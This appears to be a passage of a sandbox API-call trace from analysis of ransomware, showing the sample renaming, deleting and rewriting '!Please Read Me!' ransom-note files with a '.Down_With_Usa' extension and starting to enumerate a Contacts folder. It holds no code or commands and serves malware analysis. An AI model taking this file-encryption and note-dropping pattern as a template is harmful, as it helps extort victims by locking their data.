[0117.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x22744ec0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1
[0117.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0117.408] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt.down_with_usa")) returned 1
[0117.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x53
[0117.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0117.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.409] GetFileType (hFile=0x3a8) returned 0x1
[0117.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0117.409] GetFileType (hFile=0x3a8) returned 0x1
[0117.409] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x4bd
[0117.410] ReadFile (in: hFile=0x3a8, lpBuffer=0x2790090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2790090*, lpNumberOfBytesRead=0x2eb358*=0x4bd, lpOverlapped=0x0) returned 1
[0117.410] CloseHandle (hObject=0x3a8) returned 1
[0117.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x53
[0117.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0117.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.459] GetFileType (hFile=0x3a8) returned 0x1
[0117.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0117.459] GetFileType (hFile=0x3a8) returned 0x1
[0117.460] WriteFile (in: hFile=0x3a8, lpBuffer=0x267e7b8*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2eb278, lpOverlapped=0x0 | out: lpBuffer=0x267e7b8*, lpNumberOfBytesWritten=0x2eb278*=0x4c0, lpOverlapped=0x0) returned 1
[0117.467] CloseHandle (hObject=0x3a8) returned 1
[0117.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x53
[0117.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0117.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0117.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.vbs"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x227dd440, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1
[0117.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0117.469] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.vbs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.vbs.down_with_usa")) returned 1
[0117.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0117.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0117.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0117.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0117.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0117.471] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0117.471] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x22744ec0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt.Down_With_Usa", cAlternateFileName="!PLEAS~1.DOW")) returned 0x1ac18610
[0117.472] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb5d0 | out: lpFindFileData=0x2eb5d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.472] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0117.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0117.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0117.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0117.473] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt.down_with_usa")) returned 1
[0117.480] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x53
[0117.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0117.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0117.480] GetFileType (hFile=0x3a8) returned 0x1
[0117.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0117.480] GetFileType (hFile=0x3a8) returned 0x1
[0117.482] WriteFile (in: hFile=0x3a8, lpBuffer=0x26852a8*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2eb6b8, lpOverlapped=0x0 | out: lpBuffer=0x26852a8*, lpNumberOfBytesWritten=0x2eb6b8*=0x623, lpOverlapped=0x0) returned 1
[0117.484] CloseHandle (hObject=0x3a8) returned 1
[0117.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x53
[0117.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0117.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0117.491] GetFileType (hFile=0x3a8) returned 0x1
[0117.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0117.491] GetFileType (hFile=0x3a8) returned 0x1
[0117.491] WriteFile (in: hFile=0x3a8, lpBuffer=0x2689340*, nNumberOfBytesToWrite=0x4bd, lpNumberOfBytesWritten=0x2eb858, lpOverlapped=0x0 | out: lpBuffer=0x2689340*, lpNumberOfBytesWritten=0x2eb858*=0x4bd, lpOverlapped=0x0) returned 1
[0117.497] CloseHandle (hObject=0x3a8) returned 1
[0117.500] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0117.500] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0117.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0117.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif", lpFilePart=0x0) returned 0x31
[0117.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0117.501] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0117.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2257be40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt.Down_With_Usa", cAlternateFileName="!PLEAS~1.DOW")) returned 0x1ac18610
[0117.502] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebb50 | out: lpFindFileData=0x2ebb50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.502] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0117.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0117.502] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0117.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0117.503] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt.down_with_usa")) returned 1
[0117.509] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x46
[0117.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0117.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0117.511] GetFileType (hFile=0x3a8) returned 0x1
[0117.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0117.511] GetFileType (hFile=0x3a8) returned 0x1
[0117.512] WriteFile (in: hFile=0x3a8, lpBuffer=0x268f4b8*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ebc38, lpOverlapped=0x0 | out: lpBuffer=0x268f4b8*, lpNumberOfBytesWritten=0x2ebc38*=0x623, lpOverlapped=0x0) returned 1
[0117.514] CloseHandle (hObject=0x3a8) returned 1
[0117.515] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x46
[0117.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0117.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0117.516] GetFileType (hFile=0x3a8) returned 0x1
[0117.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0117.516] GetFileType (hFile=0x3a8) returned 0x1
[0117.516] WriteFile (in: hFile=0x3a8, lpBuffer=0x2693520*, nNumberOfBytesToWrite=0x4bd, lpNumberOfBytesWritten=0x2ebdd8, lpOverlapped=0x0 | out: lpBuffer=0x2693520*, lpNumberOfBytesWritten=0x2ebdd8*=0x4bd, lpOverlapped=0x0) returned 1
[0117.518] CloseHandle (hObject=0x3a8) returned 1
[0117.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0117.519] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26
[0117.519] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", lpFilePart=0x0) returned 0x27
[0117.519] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.519] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.520] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1
[0117.520] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1
[0117.520] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1
[0117.521] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1
[0117.521] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
